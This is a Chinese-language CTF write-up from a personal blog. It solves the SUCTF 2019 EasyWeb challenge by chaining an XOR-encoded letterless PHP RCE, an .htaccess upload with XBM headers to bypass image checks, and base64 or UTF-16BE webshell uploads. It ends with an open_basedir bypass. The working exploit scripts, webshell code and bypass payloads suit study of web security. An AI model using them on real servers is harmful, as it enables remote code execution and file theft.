SUCTF 2019 EasyWeb_0x61-0x6F
呜呜呜,我这条懒狗好长时间没刷题了,后面的日子要捡起来了。
源码贴上来:
代码其实可以分为两部分,第一部分是文件上传,第二部分是rce。
我们先来尝试一下rce,好家伙,过滤了很多东西啊。
由此判断,这是无字母无数字rce,有三个思路
1、异或
2、取反
3、自增
由于这里对字符的长度有限制
故采用异或。
这里贴上大神的脚本
<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET");
?>
运行如图
由此我们可构造payload:
http://127.0.0.1?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
成功出来phpinfo,看一看有没有可以利用的点
发现执行系统的命令全被禁用了,看来rce走不通了。
这里顺带提一嘴,在buu的环境中存在非预期解,flag直接在phpinfo里了
不过还是按照做题的套路来吧,真正的比赛应该不会出现这种情况。
既然rce走不通,那就试一试文件上传吧
各种限制非常多,这里限制了上传php后缀的文件,所以要想办法绕过,最先想到的就算.htaccess解析。
但是上传.htaccess仍然有
这个函数限制。
解决这个函数,采用xbm格式,X Bit Map
在计算机图形学中,X Window系统使用X BitMap(XBM),一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成。当格式被普遍使用时,XBM通常出现在标题(.h文件)中,每个图像在标题中存储一个数组。以下C代码示例了一个XBM文件:
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
在这个c文件中高和宽都是有#在前面的,那么我们即使把它放在.htaccess文件中也不会影响.htaccess的实际运行效果。
所以我们在.htaccess里加上
#define width 1337
#define height 1337
.....
.....
就可以绕过绕过这个函数了。
上传.htaccess文件后,要上传一个非php后缀的一句话木马,但本题中仍然对<?进行了检测。
这里有两种方法可以绕过。
1、对一句话木马的内容进行base64编码。
2、使用 utf-16be 来绕过
下面先附上两种方法的exp:
1、
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
#这里的GIF8912后面的12是为了符合base64 8个字节的编码规范
url = "http://95670a2d-e895-4364-bb7b-94939098a4b6.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
本题php环境为7.2,所以无法使用<script language='php'>eval($_REQUEST['shell']);</script>
这条payload,所以将shell.ha进行base64编码之后,在.htaccess文件中利用filter://协议将文件解码,从而达到传入shell的目的。
得到
2、
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .lethe\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
同理上传即可
一句话木马成功利用。
使用蚁剑成功连接
但是无法访问根目录。
非预期解:
采用蚁剑自带插件进行绕过.
预期解:
绕过open_basedir
这里由于涉及的内容我还不太理解,所以这里直接放出payload,有兴趣的大佬可以深入研究一下。
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
所有文件被列举出来了,下面读取flag值就可以了。
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!